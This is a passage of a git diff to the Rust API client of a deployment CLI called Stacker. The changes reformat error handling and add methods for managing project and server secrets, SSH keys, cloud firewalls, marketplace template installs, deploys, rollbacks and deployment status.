                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         Ok(api.item)
     }
@@ -654,16 +1028,19 @@ impl StackerClient {
     ) -> Result<CloudInfo, CliError> {
         // Check if credentials already exist for this provider — update instead of insert
         if let Some(existing) = self.find_cloud_by_provider(provider).await? {
-            return self.update_cloud(
-                existing.id,
-                provider,
-                &existing.name,
-                cloud_token,
-                cloud_key,
-                cloud_secret,
-            ).await;
+            return self
+                .update_cloud(
+                    existing.id,
+                    provider,
+                    &existing.name,
+                    cloud_token,
+                    cloud_key,
+                    cloud_secret,
+                )
+                .await;
         }
-        self.save_cloud_with_name(provider, None, cloud_token, cloud_key, cloud_secret).await
+        self.save_cloud_with_name(provider, None, cloud_token, cloud_key, cloud_secret)
+            .await
     }
 
     /// Update existing cloud credentials by id.
@@ -686,13 +1063,22 @@ impl StackerClient {
 
         if let Some(obj) = payload.as_object_mut() {
             if let Some(t) = cloud_token {
-                obj.insert("cloud_token".to_string(), serde_json::Value::String(t.to_string()));
-            }
-            if let Some(k) = cloud_key {
-                obj.insert("cloud_key".to_string(), serde_json::Value::String(k.to_string()));
+                obj.insert(
+                    "cloud_token".to_string(),
+                    serde_json::Value::String(t.to_string()),
+                );
+            }
+            if let Some(k) = cloud_key {
+                obj.insert(
+                    "cloud_key".to_string(),
+                    serde_json::Value::String(k.to_string()),
+                );
             }
             if let Some(s) = cloud_secret {
-                obj.insert("cloud_secret".to_string(), serde_json::Value::String(s.to_string()));
+                obj.insert(
+                    "cloud_secret".to_string(),
+                    serde_json::Value::String(s.to_string()),
+                );
             }
         }
 
@@ -713,16 +1099,15 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server PUT /cloud/{} failed ({}): {}", id, status, body),
+                reason: stacker_api_failure(&format!("PUT /cloud/{id}"), status, &body),
             });
         }
 
-        let api: ApiResponse<CloudInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<CloudInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         api.item.ok_or_else(|| CliError::DeployFailed {
             target: crate::cli::config_parser::DeployTarget::Cloud,
@@ -748,10 +1133,7 @@ impl StackerClient {
 
         if let Some(obj) = payload.as_object_mut() {
             if let Some(n) = name {
-                obj.insert(
-                    "name".to_string(),
-                    serde_json::Value::String(n.to_string()),
-                );
+                obj.insert("name".to_string(), serde_json::Value::String(n.to_string()));
             }
             if let Some(t) = cloud_token {
                 obj.insert(
@@ -790,19 +1172,15 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server POST /cloud failed ({}): {}",
-                    status, body
-                ),
+                reason: stacker_api_failure("POST /cloud", status, &body),
             });
         }
 
-        let api: ApiResponse<CloudInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<CloudInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         api.item.ok_or_else(|| CliError::DeployFailed {
             target: crate::cli::config_parser::DeployTarget::Cloud,
@@ -822,7 +1200,7 @@ impl StackerClient {
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
@@ -830,17 +1208,16 @@ impl StackerClient {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server GET /server failed ({}): {}", status, body),
+                target: self.target.clone(),
+                reason: stacker_api_failure("GET /server", status, &body),
             });
         }
 
-        let api: ApiResponse<ServerInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+        let api: ApiResponse<ServerInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -857,6 +1234,298 @@ impl StackerClient {
         }))
     }
 
+    pub async fn get_service_secret_metadata(
+        &self,
+        project_id: i32,
+        app_code: &str,
+        name: &str,
+    ) -> Result<Option<RemoteSecretMetadataInfo>, CliError> {
+        let resp = self
+            .send_project_request(
+                reqwest::Method::GET,
+                &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name),
+                None,
+                "GET /project/{id}/apps/{code}/secrets/{name}",
+            )
+            .await?;
+
+        if resp.status().as_u16() == 404 {
+            return Ok(None);
+        }
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /project/{project_id}/apps/{app_code}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.item)
+    }
+
+    pub async fn list_service_secrets(
+        &self,
+        project_id: i32,
+        app_code: &str,
+    ) -> Result<Vec<RemoteSecretMetadataInfo>, CliError> {
+        let resp = self
+            .send_project_request(
+                reqwest::Method::GET,
+                &format!("/{}/apps/{}/secrets", project_id, app_code),
+                None,
+                "GET /project/{id}/apps/{code}/secrets",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /project/{project_id}/apps/{app_code}/secrets"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.list.unwrap_or_default())
+    }
+
+    pub async fn set_service_secret(
+        &self,
+        project_id: i32,
+        app_code: &str,
+        name: &str,
+        value: &str,
+    ) -> Result<RemoteSecretMetadataInfo, CliError> {
+        let body = serde_json::json!({ "value": value });
+        let resp = self
+            .send_project_request(
+                reqwest::Method::PUT,
+                &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name),
+                Some(&body),
+                "PUT /project/{id}/apps/{code}/secrets/{name}",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("PUT /project/{project_id}/apps/{app_code}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: self.target.clone(),
+            reason: "Stacker server saved secret but returned no item".to_string(),
+        })
+    }
+
+    pub async fn delete_service_secret(
+        &self,
+        project_id: i32,
+        app_code: &str,
+        name: &str,
+    ) -> Result<(), CliError> {
+        let resp = self
+            .send_project_request(
+                reqwest::Method::DELETE,
+                &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name),
+                None,
+                "DELETE /project/{id}/apps/{code}/secrets/{name}",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("DELETE /project/{project_id}/apps/{app_code}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        Ok(())
+    }
+
+    pub async fn get_server_secret_metadata(
+        &self,
+        server_id: i32,
+        name: &str,
+    ) -> Result<Option<RemoteSecretMetadataInfo>, CliError> {
+        let resp = self
+            .send_server_request(
+                reqwest::Method::GET,
+                &format!("/{}/secrets/{}", server_id, name),
+                None,
+                "GET /server/{id}/secrets/{name}",
+            )
+            .await?;
+
+        if resp.status().as_u16() == 404 {
+            return Ok(None);
+        }
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /server/{server_id}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.item)
+    }
+
+    pub async fn list_server_secrets(
+        &self,
+        server_id: i32,
+    ) -> Result<Vec<RemoteSecretMetadataInfo>, CliError> {
+        let resp = self
+            .send_server_request(
+                reqwest::Method::GET,
+                &format!("/{}/secrets", server_id),
+                None,
+                "GET /server/{id}/secrets",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /server/{server_id}/secrets"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.list.unwrap_or_default())
+    }
+
+    pub async fn set_server_secret(
+        &self,
+        server_id: i32,
+        name: &str,
+        value: &str,
+    ) -> Result<RemoteSecretMetadataInfo, CliError> {
+        let body = serde_json::json!({ "value": value });
+        let resp = self
+            .send_server_request(
+                reqwest::Method::PUT,
+                &format!("/{}/secrets/{}", server_id, name),
+                Some(&body),
+                "PUT /server/{id}/secrets/{name}",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("PUT /server/{server_id}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<RemoteSecretMetadataInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: self.target.clone(),
+            reason: "Stacker server saved secret but returned no item".to_string(),
+        })
+    }
+
+    pub async fn delete_server_secret(&self, server_id: i32, name: &str) -> Result<(), CliError> {
+        let resp = self
+            .send_server_request(
+                reqwest::Method::DELETE,
+                &format!("/{}/secrets/{}", server_id, name),
+                None,
+                "DELETE /server/{id}/secrets/{name}",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("DELETE /server/{server_id}/secrets/{name}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        Ok(())
+    }
+
     // ── SSH Keys ─────────────────────────────────────
 
     /// Generate a new SSH key pair for a server (stored in Vault).
@@ -878,19 +1547,21 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "SSH key generation failed for server {} ({}): {}",
-                    server_id, status, body
+                reason: stacker_api_failure_with_message(
+                    &format!("SSH key generation failed for server {server_id}"),
+                    &format!("POST /server/{server_id}/ssh-key/generate"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
                 ),
             });
         }
 
-        let api: ApiResponse<GenerateKeyResponse> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<GenerateKeyResponse> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         api.item.ok_or_else(|| CliError::DeployFailed {
             target: crate::cli::config_parser::DeployTarget::Cloud,
@@ -902,111 +1573,484 @@ impl StackerClient {
     pub async fn get_ssh_public_key(&self, server_id: i32) -> Result<PublicKeyResponse, CliError> {
         let url = format!("{}/server/{}/ssh-key/public", self.base_url, server_id);
         let resp = self
-            .http
-            .get(&url)
-            .bearer_auth(&self.token)
-            .send()
-            .await
-            .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server unreachable: {}", e),
-            })?;
+            .http
+            .get(&url)
+            .bearer_auth(&self.token)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: stacker_api_failure_with_message(
+                    &format!("Failed to fetch SSH public key for server {server_id}"),
+                    &format!("GET /server/{server_id}/ssh-key/public"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<PublicKeyResponse> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: crate::cli::config_parser::DeployTarget::Cloud,
+            reason: "No SSH key found for this server".to_string(),
+        })
+    }
+
+    /// Authorize a local public SSH key on a server using the server-side Vault key.
+    pub async fn authorize_ssh_public_key(
+        &self,
+        server_id: i32,
+        public_key: &str,
+        user: Option<&str>,
+        port: Option<u16>,
+    ) -> Result<AuthorizePublicKeyResponse, CliError> {
+        let url = format!(
+            "{}/server/{}/ssh-key/authorize-public-key",
+            self.base_url, server_id
+        );
+        let body = serde_json::json!({
+            "public_key": public_key,
+            "user": user,
+            "port": port,
+        });
+
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: self.target,
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target,
+                reason: stacker_api_failure_with_message(
+                    &format!("Failed to authorize SSH public key for server {server_id}"),
+                    &format!("POST /server/{server_id}/ssh-key/authorize-public-key"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<AuthorizePublicKeyResponse> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: self.target,
+            reason: "Server authorized SSH public key but returned no item".to_string(),
+        })
+    }
+
+    pub async fn configure_cloud_firewall(
+        &self,
+        server_id: i32,
+        request: &crate::forms::ConfigureCloudFirewallRequest,
+    ) -> Result<crate::forms::ConfigureCloudFirewallResponse, CliError> {
+        let url = format!("{}/server/{}/cloud-firewall", self.base_url, server_id);
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(request)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: self.target,
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target,
+                reason: stacker_api_failure_with_message(
+                    &format!("Failed to configure cloud firewall for server {server_id}"),
+                    &format!("POST /server/{server_id}/cloud-firewall"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<crate::forms::ConfigureCloudFirewallResponse> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: self.target,
+            reason: "Cloud firewall operation returned no item".to_string(),
+        })
+    }
+
+    /// Upload an existing SSH key pair to Vault for a server.
+    pub async fn upload_ssh_key(
+        &self,
+        server_id: i32,
+        public_key: &str,
+        private_key: &str,
+    ) -> Result<ServerInfo, CliError> {
+        let url = format!("{}/server/{}/ssh-key/upload", self.base_url, server_id);
+        let body = serde_json::json!({
+            "public_key": public_key,
+            "private_key": private_key,
+        });
+
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: stacker_api_failure_with_message(
+                    &format!("SSH key upload failed for server {server_id}"),
+                    &format!("POST /server/{server_id}/ssh-key/upload"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<ServerInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: crate::cli::config_parser::DeployTarget::Cloud,
+            reason: "Server accepted key upload but returned no item".to_string(),
+        })
+    }
+
+    // ── Marketplace ──────────────────────────────────
+
+    /// List approved marketplace templates.
+    pub async fn list_marketplace_templates(
+        &self,
+        category: Option<&str>,
+        tag: Option<&str>,
+    ) -> Result<Vec<MarketplaceTemplate>, CliError> {
+        self.search_marketplace_templates(None, category, tag, None)
+            .await
+    }
+
+    /// Search approved marketplace templates.
+    pub async fn search_marketplace_templates(
+        &self,
+        query: Option<&str>,
+        category: Option<&str>,
+        tag: Option<&str>,
+        limit: Option<u32>,
+    ) -> Result<Vec<MarketplaceTemplate>, CliError> {
+        let mut url = format!("{}/api/v1/marketplace/applications", self.base_url);
+        let mut params: Vec<String> = Vec::new();
+        if let Some(q) = query.map(str::trim).filter(|q| !q.is_empty()) {
+            params.push(format!("q={}", urlencoding::encode(q)));
+        }
+        if let Some(c) = category {
+            params.push(format!("category={}", urlencoding::encode(c)));
+        }
+        if let Some(t) = tag {
+            params.push(format!("tag={}", urlencoding::encode(t)));
+        }
+        if let Some(limit) = limit {
+            params.push(format!("limit={}", limit));
+        }
+        if !params.is_empty() {
+            url = format!("{}?{}", url, params.join("&"));
+        }
+
+        let resp = self
+            .http
+            .get(&url)
+            .bearer_auth(&self.token)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: stacker_api_failure_with_message(
+                    "Marketplace listing failed",
+                    "GET /api/v1/marketplace/applications",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<MarketplaceTemplate> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.list.unwrap_or_default())
+    }
+
+    /// Get a single marketplace template by slug.
+    pub async fn get_marketplace_template(
+        &self,
+        slug: &str,
+    ) -> Result<Option<MarketplaceTemplate>, CliError> {
+        let url = format!("{}/api/templates/{}", self.base_url, slug);
+        let resp = self
+            .http
+            .get(&url)
+            .bearer_auth(&self.token)
+            .send()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+        if resp.status().as_u16() == 404 {
+            return Ok(None);
+        }
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: stacker_api_failure_with_message(
+                    "Marketplace template fetch failed",
+                    &format!("GET /api/templates/{slug}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            });
+        }
+
+        let api: ApiResponse<serde_json::Value> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        let Some(item) = api.item else {
+            return Ok(None);
+        };
+        let template = item.get("template").cloned().unwrap_or(item);
+        serde_json::from_value(template)
+            .map(Some)
+            .map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid marketplace template response: {}", e),
+            })
+    }
+
+    /// Create a Stacker project from a marketplace template.
+    ///
+    /// `idempotency_key` is threaded both as a body field and an
+    /// `Idempotency-Key` header — server accepts either but prefers the
+    /// header. For `per_install`-billed templates, retrying with the same
+    /// key collapses to the single authorization the first call created;
+    /// omitting it there is unsafe (a network blip after a successful
+    /// authorize would double-charge on retry).
+    pub async fn install_marketplace_template(
+        &self,
+        slug: &str,
+        name: Option<&str>,
+        deploy_form: Option<serde_json::Value>,
+        install_inputs: Option<serde_json::Map<String, serde_json::Value>>,
+        idempotency_key: &str,
+    ) -> Result<MarketplaceInstallResponse, CliError> {
+        let url = format!("{}/api/templates/{}/install", self.base_url, slug);
+        let mut body = serde_json::json!({
+            "name": name,
+            "deploy": deploy_form,
+            "idempotency_key": idempotency_key,
+        });
+        if let Some(install_inputs) = install_inputs {
+            if let Some(obj) = body.as_object_mut() {
+                obj.insert(
+                    "install_inputs".to_string(),
+                    serde_json::Value::Object(install_inputs),
+                );
+            }
+        }
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .header("Idempotency-Key", idempotency_key)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| {
+                CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e))
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Marketplace install failed",
+                    &format!("POST /api/templates/{slug}/install"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        let api: ApiResponse<MarketplaceInstallResponse> = resp.json().await.map_err(|e| {
+            CliError::MarketplaceFailed(format!("Invalid response from Stacker server: {}", e))
+        })?;
+
+        api.item
+            .ok_or_else(|| CliError::MarketplaceFailed("No install response returned".to_string()))
+    }
+
+    // ── Deploy ───────────────────────────────────────
+
+    /// Deploy a project. If `cloud_id` is provided, uses saved cloud credentials.
+    pub async fn deploy(
+        &self,
+        project_id: i32,
+        cloud_id: Option<i32>,
+        deploy_form: serde_json::Value,
+    ) -> Result<DeployResponse, CliError> {
+        let suffix = match cloud_id {
+            Some(cid) => format!("/{}/deploy/{}", project_id, cid),
+            None => format!("/{}/deploy", project_id),
+        };
+        let resp = self
+            .send_project_request(
+                reqwest::Method::POST,
+                &suffix,
+                Some(&deploy_form),
+                "POST /project/{id}/deploy",
+            )
+            .await?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Failed to fetch SSH public key for server {} ({}): {}",
-                    server_id, status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure_with_message(
+                    "Stacker server deploy failed",
+                    &format!("POST /project{suffix}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
                 ),
             });
         }
 
-        let api: ApiResponse<PublicKeyResponse> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
-
-        api.item.ok_or_else(|| CliError::DeployFailed {
-            target: crate::cli::config_parser::DeployTarget::Cloud,
-            reason: "No SSH key found for this server".to_string(),
-        })
+        resp.json::<DeployResponse>()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid deploy response from Stacker server: {}", e),
+            })
     }
 
-    /// Upload an existing SSH key pair to Vault for a server.
-    pub async fn upload_ssh_key(
+    /// Request rollback of a project to a known marketplace version.
+    pub async fn rollback_project(
         &self,
-        server_id: i32,
-        public_key: &str,
-        private_key: &str,
-    ) -> Result<ServerInfo, CliError> {
-        let url = format!("{}/server/{}/ssh-key/upload", self.base_url, server_id);
-        let body = serde_json::json!({
-            "public_key": public_key,
-            "private_key": private_key,
-        });
-
+        project_id: i32,
+        version: &str,
+    ) -> Result<DeployResponse, CliError> {
+        let rollback_body = serde_json::json!({ "version": version });
         let resp = self
-            .http
-            .post(&url)
-            .bearer_auth(&self.token)
-            .json(&body)
-            .send()
-            .await
-            .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server unreachable: {}", e),
-            })?;
+            .send_project_request(
+                reqwest::Method::POST,
+                &format!("/{}/rollback", project_id),
+                Some(&rollback_body),
+                "POST /project/{id}/rollback",
+            )
+            .await?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
+            if let Some(error) = parse_typed_error_response(&body) {
+                return Err(error.into());
+            }
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "SSH key upload failed for server {} ({}): {}",
-                    server_id, status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure_with_message(
+                    "Stacker server rollback failed",
+                    &format!("POST /project/{project_id}/rollback"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
                 ),
             });
         }
 
-        let api: ApiResponse<ServerInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
-
-        api.item.ok_or_else(|| CliError::DeployFailed {
-            target: crate::cli::config_parser::DeployTarget::Cloud,
-            reason: "Server accepted key upload but returned no item".to_string(),
-        })
+        resp.json::<DeployResponse>()
+            .await
+            .map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid rollback response from Stacker server: {}", e),
+            })
     }
 
-    // ── Marketplace ──────────────────────────────────
+    // ── Deployment status ────────────────────────────
 
-    /// List approved marketplace templates.
-    pub async fn list_marketplace_templates(
+    /// Fetch deployment status by deployment ID.
+    /// Returns `GET /api/v1/deployments/{id}`.
+    pub async fn get_deployment_status(
         &self,
-        category: Option<&str>,
-        tag: Option<&str>,
-    ) -> Result<Vec<MarketplaceTemplate>, CliError> {
-        let mut url = format!("{}/marketplace", self.base_url);
-        let mut params: Vec<String> = Vec::new();
-        if let Some(c) = category {
-            params.push(format!("category={}", c));
-        }
-        if let Some(t) = tag {
-            params.push(format!("tag={}", t));
-        }
-        if !params.is_empty() {
-            url = format!("{}?{}", url, params.join("&"));
-        }
-
+        deployment_id: i32,
+    ) -> Result<Option<DeploymentStatusInfo>, CliError> {
+        let url = format!("{}/api/v1/deployments/{}", self.base_url, deployment_id);
         let resp = self
             .http
             .get(&url)
@@ -1018,31 +2062,42 @@ impl StackerClient {
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
+        if resp.status().as_u16() == 404 {
+            return Ok(None);
+        }
+
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Marketplace listing failed ({}): {}", status, body),
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/{deployment_id}"),
+                    status,
+                    &body,
+                ),
             });
         }
 
-        let api: ApiResponse<MarketplaceTemplate> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+        let api: ApiResponse<DeploymentStatusInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
